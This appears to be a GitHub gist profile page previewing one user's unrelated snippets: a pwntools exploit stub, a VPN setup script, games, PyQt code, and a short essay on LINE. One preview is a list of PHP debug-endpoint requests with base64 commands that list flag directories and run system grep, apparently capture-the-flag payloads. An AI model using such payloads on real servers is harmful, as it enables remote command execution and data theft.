Skip to content

Instantly share code, notes, and snippets.

View jeremy5189's full-sized avatar

Jeremy Yen jeremy5189

View GitHub Profile
#!/usr/bin/env python
from pwn import *
import sys
import time
HOST = "140.112.31.96"
PORT = 10121
ELF_PATH = ""
#!/bin/sh
#
# Amazon EC2 user-data file for automatic configuration of IPsec/L2TP VPN server
# on a Ubuntu or Debian instance. Tested with Ubuntu 14.04 & 12.04 and Debian 8.
# With minor modifications, this script *can also be used* on dedicated servers
# or any KVM- or XEN-based Virtual Private Server (VPS) from other providers.
#
# DO NOT RUN THIS SCRIPT ON YOUR PC OR MAC! THIS IS MEANT TO BE RUN WHEN
# YOUR AMAZON EC2 INSTANCE STARTS!
#
var snake = {
state: {},
_el_container: null,
_el_target: null,
_el_segments: [],
init_draw: function () {
snake._el_container = document.createElement('div');
document.body.appendChild(snake._el_container);

Frankly it is quite difficult to compare a social network Twitter and an instant messaging app like LINE. Whatever, we believed LINE will fall in the next 5 years.

LINE emerged and accessed the market by attracting user with fancy stickers. They successfully attracted female user which leads to pulling more male user into LINE.

But LINE is currently suffering from very bad initial design. Providing maybe the worst user experience among popular chatting app.

  1. User receives spam message everyday. (Bank loan, prostitution ads)
  2. Extremely difficult chat history backup and transfer (Ask yourself and your friends, where is your precious chat history?)
  3. Cross-platform support. (Limited to one phone, one desktop at a time)
  4. No Web Version (I'm traveling and lost my phone. No more LINE for me!)
import sys
from PyQt5.QtWidgets import QApplication, QWidget
from PyQt5.QtGui import QPainter, QPen
from PyQt5.QtCore import Qt, QRectF, QEvent
import signal
import math
class MainWindow(QWidget):
def __init__(self):
'.text.html.basic':
'Bootstrap Template':
'prefix': 'bs3-html:5'
'body': """
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
import sys
from PyQt5.QtWidgets import QApplication, QWidget
from PyQt5.QtGui import QPainter, QPen
from PyQt5.QtCore import Qt, QRectF, QEvent
import signal
import math
class MainWindow(QWidget):
def __init__(self):
super(self.__class__, self).__init__()
[
"/index.php?action=debug&command=cHJpbnRfcihzY2FuZGlyKCJmbGFnMyIpKTs%3D.27731f3dd91ab03aba4582babf172713dedbe0ef3c1029b09a5a81cd64dd98b7&dir[]=",
"/index.php?a=system&action=debug&dir[]=&command=ZWNobyAkX0dFVFthXSgnZ3JlcCAtaSBGbGFnIC1yIC4nKSA7.3ffbb77cf8ed572a4b065a6ccdab5c5fece0f6addb7fed292ecf4fc1ea61467d",
"/index.php?action=debug&command=JGhhbmRsZSA9IG9wZW5kaXIoIi9ob21lL2lubmR5Iik7d2hpbGUgKGZhbHNlICE9PSAoJGVudHJ5ID0gcmVhZGRpcigkaGFuZGxlKSkpIGVjaG8gIiRlbnRyeVxuIjtjbG9zZWRpcigkaGFuZGxlKTs%3D.c822edf05dbd104e90e30fe58590928d681afe249a2876c7fb068417d3260679&dir[]=",
"/index.php?action=debug&dir[]=admin&command=ZWNobyAkY21k.55b069e280f543cefa2dfbbe27f7e9aeaf808df46040ae625d55ad0be9cfb76e",
"/index.php?action=debug&command=cGhwaW5mbygpOyIpOw%3D%3D.a96d5028014b129309fef562b883706034fefaaa0b128bd0d2e29f6841a0edca&dir[]=",
"/index.php?action=debug&item=%22123%22&order=system&dir[]=1&command=JEdMT0JBTFNbIm9yZGVyIl0obHMpOw.4f379b717594896b116a86297efcff03ae519e9649548
[ ('/style/style.css', 2578),
('/img/_up.png', 2011),
('/img/_home.png', 2002),
('/img/_copy.png', 2000),
('/img/_move.png', 2000),
('/img/_logout.png', 1999),
('/img/_delete.png', 1999),
('/img/_upload.png', 1999),
('/img/_search.png', 1998),
('/img/_refresh.png', 1998),
var obj = [
"GET",
"https://geoip.nekudo.com/api",
"open",
"send",
"responseText",
"parse",
"code",
"country",
"US",